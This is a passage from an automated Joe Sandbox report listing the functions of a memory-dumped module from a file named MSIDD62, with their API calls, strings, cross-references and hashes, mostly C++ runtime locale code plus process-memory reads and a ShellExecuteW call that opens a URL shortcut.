ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 003E8B1C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E8B4B

Strings

URL Shortcut content:, xrefs: 003E8A09
-_.~!*'();:@&=+$,/?#[], xrefs: 003E88E7, 003E88FE
[InternetShortcut]URL=, xrefs: 003E889F
open, xrefs: 003E8AC7, 003E8AE3

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: 4574cc4f65deb903a0c11da430621fd06e1fcf6f02bdd8fb4567947fb30f4143
Instruction ID: 000e0b3d755107beeca03cfc3682ea500d31fae4206c30f3601c23897161b052
Opcode Fuzzy Hash: 4574cc4f65deb903a0c11da430621fd06e1fcf6f02bdd8fb4567947fb30f4143
Instruction Fuzzy Hash: F1C13771E002959FEB22CF69CC45BBFBBB5EF54700F54422AE908AB2C1EB748905C795

Function 00407769 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00444AF8,00000FA0,?,?,00407747), ref: 00407775
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00407747), ref: 00407780
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00407747), ref: 00407791
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004077A3
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004077B1
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00407747), ref: 004077D4
DeleteCriticalSection.KERNEL32(00444AF8,00000007,?,?,00407747), ref: 004077F0
CloseHandle.KERNEL32(00000000,?,?,00407747), ref: 00407800

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040777B
SleepConditionVariableCS, xrefs: 0040779D
WakeAllConditionVariable, xrefs: 004077A9
kernel32.dll, xrefs: 0040778C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 7b421de30c2e04610d4bf51028c0678acc6ac9ddc176320bc9bc560cdd319a21
Instruction ID: a2608d3d7a5849c9e50d4e3015302c50aa918e90dbb92a50b7191df86b630915
Opcode Fuzzy Hash: 7b421de30c2e04610d4bf51028c0678acc6ac9ddc176320bc9bc560cdd319a21
Instruction Fuzzy Hash: F501B535F407115BD7311B75BC0DF273A58AB85B81B550036B801F36A0DBB8E80186BE

Function 00404F20 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 277COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00404F27
collate.LIBCPMT ref: 00404F33

Part of subcall function 00403E70: __EH_prolog3_GS.LIBCMT ref: 00403E77
Part of subcall function 00403E70: __Getcoll.LIBCPMT ref: 00403EDB

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

__Getcoll.LIBCPMT ref: 00404F76

Part of subcall function 00403CD4: __EH_prolog3.LIBCMT ref: 00403CDB
Part of subcall function 00403CD4: std::_Lockit::_Lockit.LIBCPMT ref: 00403CE5
Part of subcall function 00403CD4: std::_Lockit::~_Lockit.LIBCPMT ref: 00403D56

Part of subcall function 003F4403: __EH_prolog3.LIBCMT ref: 003F440A
Part of subcall function 003F4403: std::_Lockit::_Lockit.LIBCPMT ref: 003F4414
Part of subcall function 003F4403: std::_Lockit::~_Lockit.LIBCPMT ref: 003F44BB

numpunct.LIBCPMT ref: 004051A6

Part of subcall function 003E84C0: LocalAlloc.KERNEL32(00000040,00000000,0040839D,00000000,755CD0F6,?,00000000,?,00000000,?,0042CB8D,000000FF,?,003E17D5,00000000,0042D3BA), ref: 003E84C6

Strings

lJD, xrefs: 00405005
pJD, xrefs: 0040504A
xJD, xrefs: 004050F9
tJD, xrefs: 0040508D
hJD, xrefs: 00404FAF
dJD, xrefs: 00404F4B
|JD, xrefs: 0040517A

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_$Getcoll$AllocH_prolog3_Localcollatenumpunct
String ID: dJD$hJD$lJD$pJD$tJD$xJD$|JD
API String ID: 2732324234-253554797
Opcode ID: 505f068883c7f5b9049600b5b150f1ee61d53529cda4702d660a1eac354d3180
Instruction ID: be31a7dc8e9b851f16c43425728a068878b4392eaeee7130d82b8575fcf69704
Opcode Fuzzy Hash: 505f068883c7f5b9049600b5b150f1ee61d53529cda4702d660a1eac354d3180
Instruction Fuzzy Hash: D991EBB1D046155BD722AB66880577F7AA8EF81350F11853FF9457B2C1DF388D008BE9

Function 003FD8F6 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003FD8FD
ctype.LIBCPMT ref: 003FD944

Part of subcall function 003FD458: __Getctype.LIBCPMT ref: 003FD467

Part of subcall function 003F79C9: __EH_prolog3.LIBCMT ref: 003F79D0
Part of subcall function 003F79C9: std::_Lockit::_Lockit.LIBCPMT ref: 003F79DA
Part of subcall function 003F79C9: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7A4B

Part of subcall function 003F7AF3: __EH_prolog3.LIBCMT ref: 003F7AFA
Part of subcall function 003F7AF3: std::_Lockit::_Lockit.LIBCPMT ref: 003F7B04
Part of subcall function 003F7AF3: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7B75

Part of subcall function 003F7CB2: __EH_prolog3.LIBCMT ref: 003F7CB9
Part of subcall function 003F7CB2: std::_Lockit::_Lockit.LIBCPMT ref: 003F7CC3
Part of subcall function 003F7CB2: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7D34

Part of subcall function 003F7C1D: __EH_prolog3.LIBCMT ref: 003F7C24
Part of subcall function 003F7C1D: std::_Lockit::_Lockit.LIBCPMT ref: 003F7C2E
Part of subcall function 003F7C1D: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7C9F

Part of subcall function 003F4403: __EH_prolog3.LIBCMT ref: 003F440A
Part of subcall function 003F4403: std::_Lockit::_Lockit.LIBCPMT ref: 003F4414
Part of subcall function 003F4403: std::_Lockit::~_Lockit.LIBCPMT ref: 003F44BB

collate.LIBCPMT ref: 003FDA78
numpunct.LIBCPMT ref: 003FDCF2

Part of subcall function 003F838F: __EH_prolog3.LIBCMT ref: 003F8396

Part of subcall function 003F80C5: __EH_prolog3.LIBCMT ref: 003F80CC
Part of subcall function 003F80C5: std::_Lockit::_Lockit.LIBCPMT ref: 003F80D6
Part of subcall function 003F80C5: std::_Lockit::~_Lockit.LIBCPMT ref: 003F8147

Part of subcall function 003F81EF: __EH_prolog3.LIBCMT ref: 003F81F6
Part of subcall function 003F81EF: std::_Lockit::_Lockit.LIBCPMT ref: 003F8200
Part of subcall function 003F81EF: std::_Lockit::~_Lockit.LIBCPMT ref: 003F8271

Part of subcall function 003F4403: Concurrency::cancel_current_task.LIBCPMT ref: 003F44C6

Part of subcall function 003F75B6: __EH_prolog3.LIBCMT ref: 003F75BD
Part of subcall function 003F75B6: std::_Lockit::_Lockit.LIBCPMT ref: 003F75C7
Part of subcall function 003F75B6: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7638

__Getcoll.LIBCPMT ref: 003FDAB8

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

Part of subcall function 003E84C0: LocalAlloc.KERNEL32(00000040,00000000,0040839D,00000000,755CD0F6,?,00000000,?,00000000,?,0042CB8D,000000FF,?,003E17D5,00000000,0042D3BA), ref: 003E84C6

codecvt.LIBCPMT ref: 003FDDA3

Strings

ID, xrefs: 003FD97E
ID, xrefs: 003FD9C4
ID, xrefs: 003FDA8D
ID, xrefs: 003FDA07

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3$Lockit::_Lockit::~_$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatectypenumpunct
String ID: ID$ID$ID$ID
API String ID: 613171289-34575223
Opcode ID: 58da07a88f0b782d86f9213821daee510ba4df17670c4719be309b5e1584e3cc
Instruction ID: 73f2bc39e71947aa9da5a6ca5e9765ae33888d04584ae2a95fcf56a56fd8b6d0
Opcode Fuzzy Hash: 58da07a88f0b782d86f9213821daee510ba4df17670c4719be309b5e1584e3cc
Instruction Fuzzy Hash: C6E105B1D0021E9BDB13AFA68C0667F7AAAEF41350F15852EFA586F391DF708D009791

Function 003EF010 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 254memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,755CD0F6,?,00000000), ref: 003EF076
std::_Lockit::_Lockit.LIBCPMT ref: 003EF0B3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003EF11D
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003EF2B9
std::_Lockit::~_Lockit.LIBCPMT ref: 003EF376
Concurrency::cancel_current_task.LIBCPMT ref: 003EF39E

Strings

bad locale name, xrefs: 003EF3A3
true, xrefs: 003EF1EC
false, xrefs: 003EF1D6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocConcurrency::cancel_current_taskLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 975656625-1062449267
Opcode ID: 8bb68f5871c6fb835b18df4ff07d57ffd89bd929ad8c806085238b96d5108943
Instruction ID: d37d4a9e7179aa4cc7245c6add5c9d5ba4ff1bd11c1c5567991a208376ffe481
Opcode Fuzzy Hash: 8bb68f5871c6fb835b18df4ff07d57ffd89bd929ad8c806085238b96d5108943
Instruction Fuzzy Hash: 51B194B1D00398DEEB21CFA5C9457DEBBF4BF14304F1482AEE544AB281E7B59A48CB51

Function 003E6A60 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,755CD0F6,?,00000000), ref: 003E6AC2
OpenProcess.KERNEL32(00000400,00000000,00000000,?,755CD0F6,?,00000000), ref: 003E6AE3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,755CD0F6,?,00000000), ref: 003E6B16
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,755CD0F6,?,00000000), ref: 003E6B27
CloseHandle.KERNEL32(00000000,?,755CD0F6,?,00000000), ref: 003E6B45
CloseHandle.KERNEL32(00000000,?,755CD0F6,?,00000000), ref: 003E6B61
CloseHandle.KERNEL32(00000000,?,755CD0F6,?,00000000), ref: 003E6B89
CloseHandle.KERNEL32(00000000,?,755CD0F6,?,00000000), ref: 003E6BA5
CloseHandle.KERNEL32(00000000,?,755CD0F6,?,00000000), ref: 003E6BC3
CloseHandle.KERNEL32(00000000,?,755CD0F6,?,00000000), ref: 003E6BDF

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: 6a32160eb9abce5dee8ee632c847e6230db69221703f1878b11b150923296b90
Instruction ID: c3332f7ff175b5a291c3035aff3665fcb22d54c7ae428c69ec270528047ab66f
Opcode Fuzzy Hash: 6a32160eb9abce5dee8ee632c847e6230db69221703f1878b11b150923296b90
Instruction Fuzzy Hash: 43515F70E01269EBDB11CF9AC985BEEFBB5AB58714F208219E514B73C0C7B45D01CBA8

Function 00400834 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040083B

Part of subcall function 003F780A: __EH_prolog3.LIBCMT ref: 003F7811
Part of subcall function 003F780A: std::_Lockit::_Lockit.LIBCPMT ref: 003F781B
Part of subcall function 003F780A: std::_Lockit::~_Lockit.LIBCPMT ref: 003F788C

Strings

%m / %d / %y, xrefs: 00400937
%d / %m / %y, xrefs: 00400B9E
%b %d %H : %M : %S %Y, xrefs: 00400AF3
:AM:am:PM:pm, xrefs: 00400BD0
%H : %M, xrefs: 00400980
%I : %M : %S %p, xrefs: 00400BC5
%H : %M : %S, xrefs: 004009F7

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: dbddf87328ffe3bf29a37b6463842d90e753a904d47ad3f0fa79dda4125fe4c2
Instruction ID: 255e81a332aafb492a6943641a8e85ed63b425f2a5dab3ad53a3c7172f0b32a1
Opcode Fuzzy Hash: dbddf87328ffe3bf29a37b6463842d90e753a904d47ad3f0fa79dda4125fe4c2
Instruction Fuzzy Hash: CEC1B2B254010AAFDB19DF98C996FFF7BB8AB15304F14012BFA42B7291D634DA00DB65

Function 004059E2 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004059E9

Part of subcall function 003EC590: std::_Lockit::_Lockit.LIBCPMT ref: 003EC5BD
Part of subcall function 003EC590: std::_Lockit::_Lockit.LIBCPMT ref: 003EC5E0
Part of subcall function 003EC590: std::_Lockit::~_Lockit.LIBCPMT ref: 003EC608
Part of subcall function 003EC590: std::_Lockit::~_Lockit.LIBCPMT ref: 003EC6A7

Strings

%m / %d / %y, xrefs: 00405AE5
%d / %m / %y, xrefs: 00405D4C
%b %d %H : %M : %S %Y, xrefs: 00405CA1
:AM:am:PM:pm, xrefs: 00405D7E
%H : %M, xrefs: 00405B2E
%I : %M : %S %p, xrefs: 00405D73
%H : %M : %S, xrefs: 00405BA5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 14e68ca2383ec9fa6b7cd896350f1245d28d0146a883be4b99c212604438234d
Instruction ID: 0a520b8e654d80b27f36c8a5424e8c236e1767b77337a3f29d240c7ebe108f10
Opcode Fuzzy Hash: 14e68ca2383ec9fa6b7cd896350f1245d28d0146a883be4b99c212604438234d
Instruction Fuzzy Hash: 40C14076500609AEDB14DF58C999DFB3BB8EF45304F14452BFA02F6291D638EA00CF69

Function 00400C24 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00400C2B

Part of subcall function 003EB500: std::_Lockit::_Lockit.LIBCPMT ref: 003EB52D
Part of subcall function 003EB500: std::_Lockit::_Lockit.LIBCPMT ref: 003EB550
Part of subcall function 003EB500: std::_Lockit::~_Lockit.LIBCPMT ref: 003EB578
Part of subcall function 003EB500: std::_Lockit::~_Lockit.LIBCPMT ref: 003EB617

Strings

%m / %d / %y, xrefs: 00400D27
%d / %m / %y, xrefs: 00400F8E
%b %d %H : %M : %S %Y, xrefs: 00400EE3
:AM:am:PM:pm, xrefs: 00400FC0
%H : %M, xrefs: 00400D70
%I : %M : %S %p, xrefs: 00400FB5
%H : %M : %S, xrefs: 00400DE7

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 1c2cf23dfa3c4dc3595f2cfb7b4c9122d6b6f177dc1620175e2c128fdf3aa9d8
Instruction ID: cba80ec2553485ed7afe9cf7b15e1df5a74fd3ba5ea760020670812e33edba5b
Opcode Fuzzy Hash: 1c2cf23dfa3c4dc3595f2cfb7b4c9122d6b6f177dc1620175e2c128fdf3aa9d8
Instruction Fuzzy Hash: E8C1817250010AABDB29DFA8C955FFF3BA8EF05300F14452BFA06B6291D774DA01DB65

Function 003E65B0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 258libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 003E6090: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 003E60F4
Part of subcall function 003E6090: GetLastError.KERNEL32 ref: 003E6190

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 003E6632
ReadProcessMemory.KERNEL32(00000000,?,?,000001D8,00000000,?,?,?,?,00000000), ref: 003E668B
ReadProcessMemory.KERNEL32(00000000,?,?,00000048,00000000,?,?,?,?,?,?,?,00000000), ref: 003E6712
ReadProcessMemory.KERNEL32(00000000,?,?,?,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 003E67F6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 003E686E
GetLastError.KERNEL32(?,00000000), ref: 003E68C9
FreeLibrary.KERNEL32(?,?,00000000), ref: 003E691E

Strings

NtQueryInformationProcess, xrefs: 003E662C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: MemoryProcessRead$ErrorFreeLast$AddressDirectoryLibraryLocalProcSystem
String ID: NtQueryInformationProcess
API String ID: 253270903-2781105232
Opcode ID: f0a6b04105940df6293f76773f8768cb272f9a716925136ef1888eeba5616ea0
Instruction ID: 7f2fb8da700d5a668ac4acc2769a8e58c6c2cb77d75c35645cef96f1d59a243a
Opcode Fuzzy Hash: f0a6b04105940df6293f76773f8768cb272f9a716925136ef1888eeba5616ea0
Instruction Fuzzy Hash: 25B1A070D10758CADB20CF61C9497AEBBF4FF58308F20465EE449A7690D7B866C8CB95

Function 003E2BD0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

#224.MSI(?,00000001,00000000,00000000,00000000), ref: 003E2C43
LocalFree.KERNEL32(?), ref: 003E2CA2
LocalFree.KERNEL32(?), ref: 003E2D0C
CertFreeCertificateContext.CRYPT32(00000000), ref: 003E2E94

Part of subcall function 003E3D60: CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 003E3DA3

LocalFree.KERNEL32(?), ref: 003E2E13
LocalFree.KERNEL32(?), ref: 003E2E6B

Strings

H:D, xrefs: 003E2C60
Jm, xrefs: 003E2C43

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Free$Local$Cert$#224CertificateContextNameString
String ID: H:D$Jm
API String ID: 2665452496-4264341832
Opcode ID: 35835e07d2b14e54d0bb785e5a4dc5a9a3ac05c07862b6d7ce025f6bf970b4d3
Instruction ID: f53aed865c738ea94a820c11c853b668d28ab0339683d1694584da6db7564497
Opcode Fuzzy Hash: 35835e07d2b14e54d0bb785e5a4dc5a9a3ac05c07862b6d7ce025f6bf970b4d3
Instruction Fuzzy Hash: 0091AE70D10299CFDB19CFA9C948B9EBBB5FF84304F20461DD015AB291D7B5AA84CB90

Function 003FD491 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003FD498
_Maklocstr.LIBCPMT ref: 003FD501
_Maklocstr.LIBCPMT ref: 003FD513
_Maklocchr.LIBCPMT ref: 003FD52B
_Maklocchr.LIBCPMT ref: 003FD53B
_Getvals.LIBCPMT ref: 003FD55D

Part of subcall function 003F708B: _Maklocchr.LIBCPMT ref: 003F70BA
Part of subcall function 003F708B: _Maklocchr.LIBCPMT ref: 003F70D0

Strings

true, xrefs: 003FD50E
false, xrefs: 003FD4FC

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: e5921731693836cac34bccd1a403d2154fd95d813b49ea9703c95e92c9799155
Instruction ID: 5b9dfc4af28036cfe395cf571b3e30e9ee562724f82d98956126ed134ba37f9a
Opcode Fuzzy Hash: e5921731693836cac34bccd1a403d2154fd95d813b49ea9703c95e92c9799155
Instruction Fuzzy Hash: 34217171D00318BADF16EFA5D886AEE7B68EF05710F00841BBA199F192EB749540CBA1

Function 003EC9C0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 003F5C66: __EH_prolog3.LIBCMT ref: 003F5C6D
Part of subcall function 003F5C66: std::_Lockit::_Lockit.LIBCPMT ref: 003F5C78
Part of subcall function 003F5C66: std::locale::_Setgloballocale.LIBCPMT ref: 003F5C93
Part of subcall function 003F5C66: std::_Lockit::~_Lockit.LIBCPMT ref: 003F5CE6

std::_Lockit::_Lockit.LIBCPMT ref: 003ECA1A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003ECA80
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003ECB4F

Part of subcall function 003F45A7: __EH_prolog3.LIBCMT ref: 003F45AE

std::_Lockit::~_Lockit.LIBCPMT ref: 003ECC00
LocalFree.KERNEL32(?,?,?,0043B6C9,00000000,0043B6C9), ref: 003ECD01
__cftoe.LIBCMT ref: 003ECE5E

Strings

bad locale name, xrefs: 003ECC41

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

